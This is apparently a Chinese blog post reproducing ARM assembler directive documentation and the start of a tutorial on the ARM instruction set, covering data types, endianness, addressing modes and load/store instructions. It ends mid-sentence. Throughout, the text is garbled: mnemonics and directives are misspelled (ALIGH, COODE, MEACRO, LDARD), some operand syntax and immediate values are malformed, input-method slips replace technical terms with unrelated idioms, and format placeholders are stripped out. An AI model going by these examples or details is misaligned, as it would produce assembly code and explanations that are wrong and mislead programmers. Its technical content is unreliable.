功能:指示汇编器将随后的指令作为16位Thumb指令解释执行。 格式: CODE16 注释:使用BX指令转向Thumb状态时使用,为了将Thumb代码进行半字对准,必要时汇编器将插入1个字节。CODE16并不汇编成一条改变模式的指令。例: AREA ThumbEx,CODE,READONLY ;ARM代码的开始。 ADR R0,start+1 BX R0 ;设置转移/交换指令 CODE16 ;以下指令为Thumb指令 Start MOV R1,#10 ;Thumb指令 3 CODE32 功能:指示汇编器将随后的指令作为32位ARM指令解释执行。 格式: CODE32 注释:在从Thumb状态转向时使用。为了将ARM代码进行字对准,必要时汇编器将插入3个字节。CODE32指示并不汇编成一条改变模式的指令。例: CODE16 ;Thumb指令的开始 AREA ThumbEx,CODE,READONLY MOV R1,#10 ;Thumb指令 ADR R0,goarm BX R0 ;设置转移/交换指令 CODE32 ;以下为ARM指令 Goarm MOV R4,#5 ;ARM指令 4 END 功能:表示源程序的结束。 格式: END 注释:所有汇编语言源文件必须以END结束。如果一个源文件在父文件中被GET指示符引用,汇编器将返回父文件,执行GET指示符下一语句。如果第一次汇编通过时在高层文件中遇到END,将开始第二汇编;如果汇编通过时在高层文件遇到END,将结束汇编。 5 ENTRY 功能:指向程序段开始点的AOF段的偏移量,一个源文件中只能有一个ENTRY。 格式: ENTRY 注释:在程序中必须定义惟一的ENTRY指示符,如果它不存在,或者有多个ENTRY,在链接时会产生错误信息。如果在单个文件有多个ENTRY存在,在汇编时将产生错误信息。例: AREA ARMEx,CODE,RAEDONLY ENTRY 6 ROUT 功能:标记程序使用的范围的界限。 格式: {name} ROUT 其中: name 界限的名称。 注释:用ROUT限制局部标志的使用范围,从而避免使用了一个错误标志。如果没有ROUT,局部标志将代表整个AOF段。使用name选项,保证每个引用都正确。如果标志的名称或者引用与前ROUT指示符不一致,将会产生错误信息,汇编失败。例: routineaA ROUT ; 3rountine ; ; BGE %4rountineA ; 4rountineA ; ; otherstuff ROUT 7 #标志功能:描述"∧"符号,在"#"符号后定义的地址空间/ 格式: {Label} # expression 其中: Label 可选的的标志,其定位计数器的值,然后定位计数器增加expression所代表的值。 Expression 定位计数器所增加的字节数。 注释:如果存储映射使用指定基础寄存器的"∧"符号,在"#"符号后定义的所有的标志将隐含使用该基址寄存器,直到下一个"∧"符号。例: ∧ 0,r9 ;指向r9中的地址所指向的地址 # 4 ;地址增量4 Label # 4 ;设置Label标志r9+4所指向的地址;然后地址增加4 LDR R0,Label;同LDR R0,[R9,#4] 8 %标志功能:定义一块值为0的内存区域。 格式: {Label} % numeric-expression 其中: numeric-expression 值为0的字节数。注释:如果在Thumb状态下使用%定义带标志的数据,则必须使用DATA符号。如果要对%符号后的代码进行对准,必须使用ALIGN符号。例: AREA MyData,DATA, READWRITE Datal % 256 ;定义256字节的内存区域 9 "∧"或MAP标志功能:标志一段地址的起始。 格式: ∧expression{,base-register} 其中: expression 数字或程序相关的表达式。如果没有指定基址寄存器,expression为存储映射开始的地址,存储定位计数器将指向该地址;如果expression为程序相关,在使用之前必须定义相应的标志。 Base-register指定基址,运行时基址将寄存器中的值为存储映射开始地方。 注释:在描述存储映射时,"∧"符号必须和"#"一起使用。可以指定基址寄存器定义程序相关的标志,在"#"标志后定义的所有标志都将隐含使用该基址寄存器,直到下一"∧"符号。 "∧"符号可以在多重存储映射中使用多次。在第一个"∧"符号使用之前,@计数器设置为零。例: ∧ 0,R3 ;指向R3中的地址所指向的地址 ∧ 0xff,R3 ;指向R3+0xff中的地址所指向的地址 10 ALIGN标志功能:从1个字边界开始。 格式: ALIGN {expression {,offset-expression} } 其中: expression 2(上标为0)到2(上标为31)之间的任意数幂,当前按2(上标为n)字节对准,如果该参数没有指定,ALIGN将按字对准。 Offset-expression 定义expression指定的对准方式的字节偏移量。注释:使用ALIGN符号,保证程序正确对准。对于Thumb地址,使用ALIGN符号保证其按字对准,例如:ADR Thuub伪指令只能读取字对准的地址。在代码段出现数据定义符时,使用ALIGE符号。当在代码段使用数据定义符(DCB,DCW,DCWU,DCDU和%),程序计数器PC并不一定按字对准。汇编器会在下一条指令时插入3个字节,保证: ARM状态下按字对准; Thumb状态下按半字对准。在Thumb状态下,可以使用ALIGN2对Thumb代码按半字对准。使用ALIGN状态下,还可以充分利用一些ARM处理器的Cache,例如,ARM940T有一个每行4字的Cache,使用ALIGN16按16字节对准,从而最大限度使用Cache。例: AREA Example,CODE,READONLY Start LDR R6,=Labell DCB 1 ;PC并不是指向一个字的开始 ALIGN ;确保Labell寻址到以下指令 Labell MOV R5,#0x5 AREA cacheable,COODE,ALIGH=4 Routl... ;从一个16字节边界开始 ... MOV pc,1r ;从一个字边界开始 ALIGH 16 ;从一个16字节边界开始 Rout2 .... 11 DATA 功能:标志一个标签为代码段中数据的标签,该符号后为DCB或DCD。 格式: Label DATA 其中: Label 数据定义符的标志,DATA符号必须和Label在同一行。 注释:在Thumb代码中使用数据定义符如:DCD,DCB和DCW定义数据时,必须使用DATA符号。链接器重定位Thumb代码中的一个标志时,必须保证该标志指示一个Thumb段代码的入口地址,如果调用该段使用BX指令,链接器会将该标志的值加1。如果一个标志表示Thumb代码段数据的地址时,无须链接器将该标志加1。DATA符号将该标志表示为指向代码段数据的地址,链接器将其值增1。在ARM代码段中使用DATA符号标志数据,汇编器汇编时忽略DATA符号。例: AREA example,CODE Thumb_fn ; ; MOV pc,1r Thumb_Data DATA DCB 1,3,4 12 DCB或"=" 功能:分配一个或多个字节 格式: {label}DCB expression{,expression}... 其中: expression 可以是:整数表达式,取值范围在—128到255之间。 注释:如果在Thumb代码中,使用DCB符号定义带标志的数据时必须使用DATA符号。如果DCB符号是一条指令,必须使用ALIGN符号保证该指令正确对准。例: C_string DCB "C_string",0 13 DCD或"&" 功能: 分配一个或多个字,从4个字节边界开始。 格式: {label}DCD expression{,expression}... 其中: expression 可以是:一个数学表达式;一个程序相关的表达式。 注释:如果在Thumb代码中,使用DCD符号定义带标志的数据时则必须使用DATA符号。按4个字节对准时,DCD符号会在第一个字节之前插入3个字节的空字符,如果无须对准的话,可以使用DCDU符号。例: datal DCD 1,5,20 data2 DCD mem06 data3 DCD glb+4 14 DCW 功能:分配给一个或多个半字以半字边界开始的内存区域。 格式: {label}DCW expression{,expression}... 其中: expression 可以是等于—32768到65536之间的整数数字表达式。注释:如果在Thumb代码中,使用DCW符号定义带标志的数据时则必须使用DATA符号。对于DCW符号后的指令,使用ALIGNA符号保证指令正确字对准。按两字节对准时,DCW符号会在第一个字之前插入1个字节的空位符,如果无须对准的话,可以使用DCWU符号。例: AREA MiscData,DATA,READWRITE Datal DCW —255,2*number DCW number 15 LTORG 功能:标志汇编译生成的常量,这是一个文字池(literal pool)。 格式: LTORG 注释:与AREA符号在开头定义一样,LTORG应放在代码结束处,否则汇编器将在汇编结束时生成文字池。使用LTORG符号保证符号库编译时在LDR,LDFD和LDFS伪指令的寻址范围。在无条件转移和子程序返回指令后插入LTORG符号,使处理器不能把常量当作指令执行。例: AREA Example,CODE,READONLY Start BL funcl Funcl ; LDR R1,=0X55555555;同LDR R1,[pc,#offset to literal pool1] ; MOV pc,1r LTORG;literal pool 1包含&55555555 Data % 4200 END 16 CN指令功能:定义一个协处理器寄存器名。 格式: name CN numeric—expression 其中: name 定义的协处理器名 numeric—expression 协处理器号,0到15 注释:使用CN对协处理器寄存器分配合适的名称,以便记忆。C0~C15已经预定义了。例: power CN 6 ;定义power作为协处理器寄存器6的标志 17 CP指令功能:定义一个特定协处理器寄存器名,协处理器号从0到15。 格式: name CP numberic--expression 其中: name 定义的协处理器名。注意不要与预定义的名相同。 Numberic—expression 协处理器号,0~15。 注释:使用CP符号对协处理器分配合适的名称,以便记忆。P0~p15已经预定义了。例: dmu CP 6 ;定义dmu作为协处理器6的标志 18 EQU或"*" 功能:对一个数字常量赋予一个符号名。 格式: name EQU expression 其中: name 符号名。 Expression 寄存器相关或者程序相关的固定值。 注释:使用EQU定义常量,与C语言中用#define定义一个常量。例: num EQU 2 ; 数字2赋予符号num 19 EXPORT或GLOBAL 功能:标识链接对独立对像和库文件解析符号。 格式: EXPORT symbol {[qualifier {,qualifier} {,qualifire}]} 其中: symbol 引入的符号名,对大小写敏感。 Qualifier 可以是以下参数之一: FPREGARGS 与传递浮点参数的函数有关; DATA 与数据定位有关,而不是函数和程序入口 LEAF 指明输入函数为无须调入其他的函数,该参数已过时。 注释:使用EXPORT符号可以在其他文件中引入当前的文件符号。使用DATA属性告知链接器该符号不在目标转移中。例: AREA Example,CODE,READONLY EXPORT DoAdd ;输出被外部模块使用的函数名 DoAdd ADD R0,R0,R1 20 FN 功能:定义一个特定的浮点寄存器名。 格式: name FN numeric--expression 其中: name 定义的浮点寄存器名。注意不要与预定义的名称相同。 Numeric—expression 浮点寄存器号,0~7。注释:使用FN对浮点寄存器分配合适的名称,以便记忆。例: energy FN 6 ;定义energy作为浮点寄存器的6的标志 21 RN 功能:定义特定的寄存器名。 格式: name RN numeric--expression 其中: name 定义的寄存器名,注意不要与预定义名相同。 numeric—expression 寄存器号,0~15 注释:使用RN符号对寄存器分配合适的名称,以便记忆。例: regname RN R11 ;定义寄存器11为regname sqR4 RN R6 ;定义寄存器6为sqR4 22 IF-ELSE-ENDIF 功能:设置汇编指令的次序。 格式: IF logical—expression ... {ELSE ...} ENDIF 其中: logical—expression 等于{TRUE}或{FALSE}的表达式。注释:使用IF,ELSE,和ENDIF符号可以使指令按指定次序执行。IF。。。ENDIF可以嵌套使用。例: [Version="1.0" ;如果... ; | ; 或者; ] ;结束 23 "|"或ELSE标志功能:与上述指示符第(22),(23)项的符号连用。 格式: ELSE 24 ENDIF标志功能:与上述指示符第(22),(23)项的符号连用。 格式: ENDIF 25 GET或INCLUDE 功能:引进一个被编译过的文件。 格式: GET filename 其中: fiename 汇编时引入的文件名,可以有UNIX和MS—DOS下的路径名。注释: GET符号在汇编时对宏定义,EQU符号以及存储映射时是很有用的,在引入文件汇编完以后,汇编将从GET符号后开始. 在缺省状态下,汇编器将在调用文件所在的目录查找引入文件,使用汇编器下的"--i"命令行参数,将添加查找路径的目录。在被引入的文件中可能有GET符号再引入其他的文件。 GET符号不能用来引入目标文件。例: AREA Example,CODE,READONLY CET filel,s ;如果文件filel存在,则引进 ; GET C:/project/file2.s ;如果文件filei存在,则引进 26 INCBIN 功能:引进一个未被编译过的文件。 格式: INCBIN filename 其中: filename 汇编时引入的文件名,可以有UNIX和MS—DOS下的路径名。注释:使用INCBIN符号可以引入可执行文件和数据。文件的内容可以按字节添加进当前的AOF段中,汇编将从INCBIN符号后开始。在缺省状态下,汇编器将在调用文件所在的目录查找引入文件,使用汇编器下的"--i"命令行参数,将添加查找路径的目录。例: AREA Example, CODE,READONLY INCBIN filel,dat ;如果filel文件存在,则引进; INCBIN c:/project/file2.txt; 如果file2文件存在,则引进 27 MACRO。。。MEND 功能:标志一下宏的定义。 格式: MACRO Macro_prototype ; MEND MACRO符号必须在宏表达式之后一行,宏表达式的格式如下, {$label} macroname {$ parameter{,parameter2}...} 其中: $ label 参数,在宏使用时,被给定的符号替代。 Macroname 宏的名称,并不一定以一条指令或者符号名开始。 $parameter 在宏使用时,被替代的参数,格式为: $ parameter="default value" 注释: MACRO和MEND之间必须没有WHILE...WEND或者IF。。。ENDIF符号。在宏体中,参数如:$parameter和变量一样使用,在被宏引用时,被赋于新值,参数必须用"$"符号加于区别。$label在宏定义内部符号时很有用,可以看作宏的参数。使用"|"符号作为使用一个参数缺省值的变量,如果使用的是一个空格符串,将省去该变量。在使用内部标志的宏定义中,将内部标志定义为带后缀的标志,将会很有用。如果在扩展中空间不够,可以作为参数和后继文字之间或者参数之间使用圆点隔开,但在文本和后继参数之间不能使用圆点。宏可以定义局部变量的范围。宏可以嵌套使用。例: MACRO ;宏定义的开始 $label xmac $p1,$p2 LCLS err $labell,loopl BGE $pl $labell,loop2 BL $p1 BEG $p1 BEG $labell,loop2 ; MEND ; 宏定义结束 Abc xam subR1,de ;调用宏 Abcloopl ; ; BGT subR1 ; ADR de 28 MEXIT 功能:用来在结束前终止宏定义。 格式: MEXIT 注释:使用MEXIT符号结束宏体的使用,在宏体结束之前汇编器会强制结束WHILE...WEND或者IF...ENDIF符号。例: MEACRO $abc macroabc WHILE condition ; IF conditionl2 ; MEXIT ELSE ; ENDIF ;code MEND 29 WHILE...WEND 功能:确定重复编译的指令次序。 格式: WHILE logical—expression Code WEND 其中: logical—expression 等于{TRUE}或者{TRUE}的表达式。 注释:使用WHILE和WEND符号可对指令重复执行。在WHILE...WEND之间可以使用IF...ENDIF符号。 WHILF和WEND符号可以嵌套使用。例: count SETA 1 WHILE count<=4 ;代码循环执行4遍 Count SETA count+1 ... WEND 16:18 添加评论固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!145.entry 添加评论 详细介绍ARM指令集1- - 详细介绍ARM指令集1- - 首先详细介绍ARM指令集,ARM指令集包括标准ARM指令集和Thumb指令集,并介绍ARM的宏汇编以及ARM汇编语言编程 1 ARM指令系统特点 ARM指令系统属于RISC指令系统。标准的ARM指令每条都是32位长,有些ARM核还可以执行Thmub指令集,该指令集是ARM指令集的子集,每条指令只有16位。 1 数据类型 ARM处理器一般支持下列6种数据类型: l8位有符号字节类型数据; l8位无符号字节类型数据; l16位有符号半字类型数据; l16位无符号半字类型数据; l32位有符号字类型数据; l32位无符号字类型数据;有些ARM处理器不支持半字和有符号字节数据类型。在ARM内部,所有指令都是32操作数据。短的数据数据类型只有在数据传送类指令中才被支持当1个字节数据取出后,被扩展到32位,在内部数据处理时,作为32位的什进行处理,并且ARM指令以字为边界。所有Thumb指令都是16位指令时,并且以2个字节为边界。 ARM协处理器可以支持另外的数据类型,包括一套浮点数据类型,ARM的核并没有明确的支持。 2 存储器组织图3-1所示为存储器组织。 ARM这的地址的低三下四位必须为00,半字地址的最低位为0。字的内容在存储器中的存放通常有两种方式,即小端(little-endian)和大端(big-endian),这两种方式的不同在于最低位字节的地址是否在最高位字节的地址之前。小端方式每个字的低位字节在后,例如0x12345678小端方式存放如下:地址 内容 A 78 A+1 56 A+2 34 A+3 12 大端方式的存放如下:地址 内容 A 12 A+1 34 A+2 56 A+3 78 大多数的ARM处理器芯片都不得可以支持上面两种方式,一般缺省为小端。 23222120 19181716 word16 15141312 half-world12 half-word14 111098 word8 7654 byte6 half-word4 3210 byte3 byte2 byte1 byte0 20212223 16171819 word16 12131415 half-world12 half-word14 891011 word8 4567 Byte5 half-word6 0123 Byte0 byte1 byte2 byte3 (a)小端存储器组织 (b)大端存储器组织图3-1 存储器组织 3 ARM指令特点 1.每条指令的多功能 ARM指令一个重要的特点是它所有的指令都带有条件,例如用户可以测试某个寄存器的什但是直到下次使用同一条件进行测试时,才能有条件的执行这些指令。ARM指令另一个重要的特点是具有灵活的第2操作数,既可以是立即数,也可以是逻辑运算数,使得ARM指令可以在读取数值的同时进行算术和移位操作。它可以在几种模式下操作,包括通过使用SWI(软件中断)指令从用户模式进入系统模式。 2. 协处理器的作用 ARM内核可以提供协处理器指令接口,通过扩展协处理器完成复杂的功能,因此,ARM指令还包含了多条协处理器接口,使用多达16个协处理器;允许将其他处理器能过协处理器接口进行耦合;还包括几种内丰管理单元的变种;包括简单的内存保护到复杂的内存保护到复杂的页面层次。例如,管理存储部件MMU就是ARM内核通过协处理器CP15实现对内存的管理。 3. Thumb指令 ARM有两种指令集:16位Thumb指令集和32位ARN指令集。使用16位的存储器可以降低成本,在这种情况下,Thumb指令集的整体执行速度比32位指令集快,而且提高了代码密度,所以一般用Thumb编译器将C语言程序编译成16位的代码。处理器一开始总在arm状态,可使用BX指令转换到Thumb状态。 4. 具有RISC指令的特点由于ARM指令属于RISC指令,所以具有RISC指令的特点,指令少,且等长,便于充分利用流水线技术;使用多寄存器,且多为简单的Load与Store指令(从内存中读取某个值,执行完操作后再将其放回内存)。 5. 立即数和直接地址由于指令统一为32位,无法在1条指令中存放32位立即数。一般立即数为5~12位。采用一些特殊的方法,使它能处理立即数。同理,直接(或相对)地址一般为24位,但由于指令地址的低2位为00,故寻地范围为±226,相对地址为±225。 3.2 ARM指令系统 3.2.1 ARM指令的寻址方式每条ARM指令都是32位指令,在大多数情况下,可以有3个操作数,其中第1个操作数或目的操作数一般为基本操作数方式。ARM指令的基本寻址方式有: l寄存器寻址例: ADD R0,R1,R2 ;(R1)+(R2)→R0 l立即数寻址例: ADD R3,R3,#2 ;(R3)+2→R3 l寄存器间接寻址例: LDR R0,R0,[R3] ;((R3))→R0 l寄存器变址例: LDR R0,[R1,#4] ;((R1)+4)→R0 l相对寻址例: B rel ;(PC)+rel→PC 另外,每条ARM指令中还可以有第2条和第3条操作数,它们采用复合寻址方式,ARM的复合寻址方式有5种。 1 第2操作数的寻址方式 ARM运算指令和某些数据传送指令除了目的操作数和第1个操作数(它们为寄存器寻址)外,还具有第2操作数。该第2操作数具有以下寻址方式:(1)立即寻址(#immediate_8*r*2)由8位立即数和4位移位位r决定。R指定左移rⅹ2位,r=0~15,实际上可移位0,2,4,6,···,28,30。例如:实际的立即数可以为0xFF(r=0),0xFF0(r=2),0xFF000000(r=12), 0xFF000000F(r=14)等。例: MOV R0,#20 (2)寄存器直接(Rm)例: MOV R0,R1 (3)寄存器移位(Rm,移位码#immed_5)移位码包括:LSL、LSR、ASR、ROR、RPX的任何一种,移位位数由#immed_5决定。详细请见ARM数据处理类指令的第2操作数。例: MOV R0,R1,LSL #1 ;(R1)*2→R0 (4)寄存器间接移位(Rm,移位码Rs)移位码包括:LSL、LSR、ASR、ROR,移位位数由Rs的内容决定。例: MOV R0,R1,R2,LSL,R2 ;(R1)*(R2)→R0 2 字和无符号字节寻址方式 ARM中的取数指令的源操作数和存数指令的目的操作数采用带偏移量的变址方式,可以表示为基址+变址寻址。有效地址寄存器的内容加上偏移量的值。对于字和无符号字节,寻址方式通常可以包括3种:寄存器间接寻址,前变址偏移寻址和后变址偏移寻址。带偏移量的变址包括常数蔌寄存器值。(1)存器间接寻址)[Rn]) 例: LDR R0,[R1] ;((R1))→R0 STR R0,[R1] ;(R0)→(R1)(2)前变址偏移寻址([Rn,偏移量]{!})在数据传送之前,瘵偏移量加到Rn中。其结果作为传送数据的存储器地址。若使用后缀"!",则结果写回到Rn中,Rn不允许是R15。该寻址方式又分为下列3种: ①立即数偏移寻址[Rn,#±]{!} 例: LDR R0,[R1,#5]! ;((R1+5)→R0,(R1)+5→R1 ②寄存器偏移[Rn,#±Rm{!} 例 LDR R0,[R!R1,-R2] ;((R1)-(R2))→R0 ③移位寄存器偏移 [Rn, ±Rm,LSL #{!} [Rn, ±Rm,LSL #{!} [Rn, ±Rm,ASR #{!} [Rn, ±Rm,ROR #{!} [Rn, ±Rm,RPX]{!} 例: LDR R0,[R1,R2,LSL #2] ;((R1)+(R2)*4→R0 (3)后变址偏听偏信移寻址([Rn],偏移量) Rn的值用作传送数据的存储器地址。在数据传送后,偏移量加到Rn中,结果写回到Rn。Rn不允许是R15。该寻址方式又分为下列3种: ①立即数偏移[Rn],#± 例: LDR R0,[R1],#4 ;((R1))→R0,(R1)+4→R1 ②寄存器偏移[Rn],±Rm 例: LDR R0,[R3],-R8 ;((R3))→R0,(R3)-(R8)→R3 ③移位寄存器偏移 [Rn],±Rm,LSL# [Rn],±Rm,LSR# [Rn],±Rm,ASR# [Rn],±Rm,ROR# [Rn],±Rm,RPX 例: LDR R0,[R3],R8,LSL#2 ;((R3))→R0,(R3)+(R8)*4→R3 3 半字和有符号字节寻址方式 ARM中的半字和有符号字节取数和存数指令的寻址方式与字和无符号字节的寻址方式略有不同。(1)寄存器间接寻址([Rn])例: LDR R0,[R1] STR R0,[R1] (2)前变址偏移寻址([Rn,偏听偏信移量]{!})(3)在数据传送之前,将偏移量加到Rn不允许是R15。该寻址方式又分为下列两种: ①立即数偏移[Rn,#±]{!} 例: LDR R0,[R5,#22]! ;((R5+22)→R0,(R5)+22→R5 ②寄存器偏移[Rn,±Rm]{!} 例: STRB R0,[R3,-R8] ;(R0)→(R3)-(R8),(R3)-(R8)→R3 (4)后变址偏听偏信移寻址(Rn),偏移量) Rn的值用作传送数据的存储器地址。在数据传送后,偏移量加到Rn中,结果写回到R n。Rn不允许是R15。该寻址方式又分为下列3种: ①立即数偏移[Rn],#±immed_8> 例: LDR R0,[R3],-R8 ;((R5))→R0,(R5)+22→R5 ②寄存器偏移[Rn],±Rm 例: STR R0,[R3],-R8 ;(R0)→(R3),(R3)-(R8)→R3 4 块寻址 ARM对堆栈的使用一般用多寄存器传送指令,是一种有效的保存处理器状态格多字节传送的有效方式。ARM硬件中的堆栈分为以下4种:] ①满向上生长型:堆栈按高地址方向生长,当前堆栈指针指向一个有效值; ②空向上生长型:堆栈按高地址方向生长,当前堆栈指针指向一个空值; ③满向下生长型:堆栈按低地址方向生长,当前堆栈指针指向一个有效值; ④空向下生长型:堆栈按低地址方向生长,当前指针指向一个空值。图3-2说明了4条带不同变量和多字节传送前后和内存变化,以及基寄存器的变化情况。指令执行前的基寄存器是R9,指令执行后的基寄存器是R9'。常见多字节传送指令如表3-1所示。表3-1内FD|ED|FA|EA后缀只在堆栈时使用。F和E、分别代表指针指向为满或空。A和D分别表示堆栈是否向上或向下生长。例如:堆栈如果是向上生长,STM指令向上存放,LDM指令向下读取。IA、IB、DA、DB后缀在一般数据传送时使用。注意:LDMED与LDMIB是同一条指令(下同)。 图3-2多寄存器传送示意 表3-1常见多字节传送指令 5 协处理器寻址方式 ARM协处理器寻址方式包括以下4种方式:(1)寄存器直接寻址([Rn]); (2)前普址偏移寻址([Rn,#±]{!}); (3)后变址偏移寻址([Rn],#±); (4)带参数无偏移寻址([Rn],{8-bit copro.Option}。 3.2.2 ARM指令的条件执行每条ARM指令都是有条件执行,包括特权调用和协处理器指令,可根据执行结果来选择是否更新条件码。若要更新条件码,则指令中须包含后缀"S"。条件占32位指令的高4位。一些指令(如CMP、CMN、TST、和TEQ不需要后缀"S"。它们唯一的功能就是更新条件标志,且始终更新条件码。更新之前保持不变。没执行的条件指令对标志没影响,一些指令只更新部分标志,不影响其他标志。可以根据另外指令设置的标志,有条件地执行某条指令,分如下两种情况: l在更新标志的指令后立即执行; l在插入的几条不更新标志的指令后执行。条件码中的N、Z、C和V位的值将决定指令如何执行。条件如表3-2所示。表3-2 ARM条件码 表3-2中符号"*"的说明:HS、LO、HI、LS这4个条件码指的是无符号数,GE、LT、GT、LE这4个条件码指的是符号数。 3.2.3 Load/Store类指令 1. 单字和无符号字节Load/Store类指令功能:提供ARM寄存器和内存之间单字节(8位)数据的传送。 格式: (1)零偏移(zero offet) LDR|STR{}{B} Rd,[Rn,]{!} ;((Rn)+offset)→Rd ;有"!",(Rn)+offset→Rn ;无"!",Rn不变前变址指的是在数据传送之前,将偏移量加到Rn中,其结果作为传送数据的存储地址。若使用后缀"!",则结果写回到Rn中。Rn不允许是Rn15。 (3) 程序相对偏移(program-relative) LDR|STR{}Rd,Ladel ;(Label) →Rd 程序相对偏移指的是由PC计算偏移量,并将PC生成指令。不能使用后缀"!"。"LDR Rd,Label"等价为"LDR Rd,[Rn],offset"等价为"((Rn))→Rd,(Rn)+offset→Rn]" (4) 后变址(post-indexed offset) LDR|STR{{B}{T} Rd,[Rn], 后变址指的是将Rn的值用作传送数据的存储器地址,数据传送后,偏移量加到Rn中,结果写回到Rn。Rn不允许是R15。"LDR Rd,[Rn],offset"等价为"((Rn))→,(Rn)+offset→Rn"。其中: B 可选后缀。若有B,则传送Rd的最低有效字节。若操作码是LDR,则将Rd的其他字节清零。 T 可选后缀。若有T,那么即使处理器在特权模式下,存储系统也将访问看成是处理器在用户模式下。T在用户模式下无效,不能与前变址偏移一起使用T。 Rd ARM寄存器。 Rn 存储器的基址寄存器,若指令是带写回(write back)的前变址(后缀为"!")或后变址,或使用T后缀,则不允许Rn与Rd相同。 Offset Rn上的偏移量。 Label 程序相对偏移表达式,必须在当前指令的前指令的±4KB内。! 可选后缀。若有"!"则将包含偏移量的地址写回到Rn。若Rn是R15,则不能使用后缀"!"。 注释: (1) offset 说明前变址和后变址格式中的offset可以是2种形式之一: (2) exression 其含义是符号表达式,通常是数字整数常量,取值在-4095~+4095之间。 (3) ±Rm{.shift} 其中: ± 可选负号。若有符号"-",则从Rn中减去偏移量。否则,将偏移量加到Rn中。 Rm 内含偏移量的寄存器。Rm不允许是R15。 Shift Rm的可选移位方法。可以是ASR、LSL、LSR、ROR、RRX的任何一种。详细说明见ARM数据处理类指令的第二操作数。 (4) 字地址对准大多数情况下,必须保证用于32位传送的地址是32位对准的。若系统中有协处理器(CP15),则允许对准检查,若允许对准检查,则非字对准的32位传送会引起对准异常。若系统中没有系统协处理品(CP15),或禁止对准检查,则有:对于STR,将指定的地址取成4的倍数。对于LDR,则 l将指定的地址取成4的倍数。 l由结果地址读取4个字节的数据。 l依据地址的位[1:0],将读取的数据循环右移1、2或3个字节。对于小端存储系统,这使寻址的字节占用寄存器的最低有效字节。对于大端存储系统,这使寻址的字节占用: -位[31:24],若地址的位[0]为0; -位[15:8],若地址的位[0]为1。 (5) 使用R15读取使用R15(程序计数器)读取会引起处理器转移到所读取地址的指令。对于读取值的位[1:0],有: l对于ARM体系结构v3及以下版本,忽略位[1:0]。 l对于ARM体系结构v4及以上版本的非T变量,位[1:0]为0。 l对于ARM体系结构v5及以上版本的T变量,则有 -对于读取到R15的值,其位[1:0]不允许是ob10; -对于读取到R15的值的位[0]置位,则处理器转到Thumb状态。当使用R15读取时,不能使用后缀"B"或"T"。(5) 使用R15存储通常应尽量避免使用R15存储。若使用R15存储,则存储的值是当前指令的地址加上实现所定义的常量。对于特写的处理器这个常量始终不变。例 1:将R0中的内容存放进外设中。 LDR R1,UARTADD ;将UART地址放进R1中 STRB R0,[R1] ;将数据放进外设中 UARTADD & &1000000 ;UARTR的地址值例 2: LDR R8,[R10]! ;((R10))→R8 LDRNE R2,[R5,#960]! ;Z≠14时((R5)+960)→R2,(R5)+960→R5 STR R2,[R9,#consta-struc] ;consta-struc是常量的表达式,该常量的范围为1~4095 STRB R0,[R3,-R8,ASR#2] ;R0→(R3-R8/4),存储R0的最低有效字节,R3和R8不变 STR R%,[R7],#-8 ;读取一个字,该字位于标号loacaldata所在地址 2. 半字和有符号字节Load/store类指令功能:提供ARM寄存器和内存之间半字(16位)和有符号字节(8位)数据的传送。 格式:(1) 零偏移(zero offset) LDR|STR{}H|SH|SB Rd,[Rn] (2) 前变址(pre-indexed offset) LDR|STR{}H|SH|SB Rd,[Rn,]{!} (3) 程序相对偏移(pregram-relatve) LDR|STR{}H|SH|SB Rd,Label (4) 后变址(post-indexed offset) LDR|STR{}H|SH|SB Rd,[Rn], 其中: H|SH|SB 表示数据类型选择。 SH 对有符号半字(仅LDR); H 对无符号半字; SB 对有符号字节(仅LDR)。 Label 程序相对偏移表达式。必须是在当前指令的±255字节范围内。 Offset 加在Rn上的偏移量。含义见注释。 Rn和"!"同前面第1条(LDR和STR字和无符号字节)。 注释:(1) offset说明前变址和后变址格式中的offset可以是下两种形式之一: ①expression含义同前一条指令,取值在-255~+255范围之间。 ②±Rm含义同前一条指令。(2) 半字传送的地址对准半字传送的地址必须是偶数。若系统有系统协处理器(CP15),则可允许对准检查。若允许对准检查,则非对准的16位传送会引起对准异常。若系统没有系统协处理器(CP15)或禁止对准检查,则有 l非半字对准的16位读取将使Rd内容不可靠; l非半字对准的16位存储将使在address和(address-1)的2个字节不可靠。 (3) 不能将半字或字节读取到R15。例 1: LDREQSH R11,[R6] ;(有条件地)R11←[R6],读取16位半字,有符号扩展到32位 LDH R1,[R0,#22] ;R1←[R0+22],读取16位半字,零扩展到32位 STR R4,[R0+R1] ;存储最低的有效半字到R0+R1地址开始的两个字节,地址写回到 ;R0 LDRSB R6,constf ;读取位于标号constf地址中的字节,有符号扩展例 2: ADD R1,ARRAY1 ;ARRAY1 为半字数组 ADR R2,ARRAY2 ;ARRAY2为字数组 ADR R3 ENDARR1 ;ARRAY1+2 LOOP LDRSH R0,[R1],#2 ;取得有符号半字数,扩展为字 STRR0,[R2],#4 CMP R1,R3 BLT LOOP 3. 双字Load/Store类指令功能:提供ARM寄存器和内存之间双字(64位)数据的传送. 格式: (1) 零偏移(zero offset) LDR|STR{}D Rd,[Rn] (2) 前变址格式(pre-indexed offset) LDR|STR{条件码>}D Rd,[Rn,]{!} (3) 程序相对偏移(pregram-relatve) LDR|STR{}D Rd,LABEL (4) 后变地址格式(post-indexed offset) LDR|STR{}D Rd,[Rn], 其中: Rd 读取或指令寄存器其中的一个,另一个是R(d+1).Rd必须是偶数寄存器,且不是R14. Rn 除非指令为零移,或不带写回的前索引,否则R不允许是Rd和R(d+1)相同. Offset 加在Rn上的偏移量.含义同3.2.3节第1条指令. Label 程序相对偏移表达式.Label必须是在当前指令的±255字节范围内. ! 可选后缀.若有"!",则包含偏移量的最后地址写回到Rn. 注释: 对于双字节传送,地址必须是8的倍数.若系统有系统协处理器,可允许对准检查.若允许对准检查,慢非双字准的64位传送将引起对准异常.该指令适用于ARMv5TE指令系统及以上版本. 例: LDARD R6,[R11] ;((R11)→R6,((R11)+4)→R7 STRD R4,[R9,#24] ;(R4)→(R9)+24,(R5)→(R9)+24 4. 多寄存器Load/Store类指令功能:读取和存储多个寄存器,可以传送R0~R15的任何组合. 格式: (1) 标准格式 LDR|STM{}Rn{!} (2) 非用户模式下,用下面可以同时把当前的SPSR写入CPSR中,转向用户模式,寄存器组饮包含PC. LDM{}Rn{!},^ (3) 非用户模式下,用下面格式可以实现访问用户模式的寄存器,但寄存器组不包含PC. LDM|STM{}Rn,^ 其中: mode IA、IB、DA、DB、FD、ED、FA、EA之一。 Rn 基址寄存器,装有传送数据的初始地址。Rn是不允许是R15。! 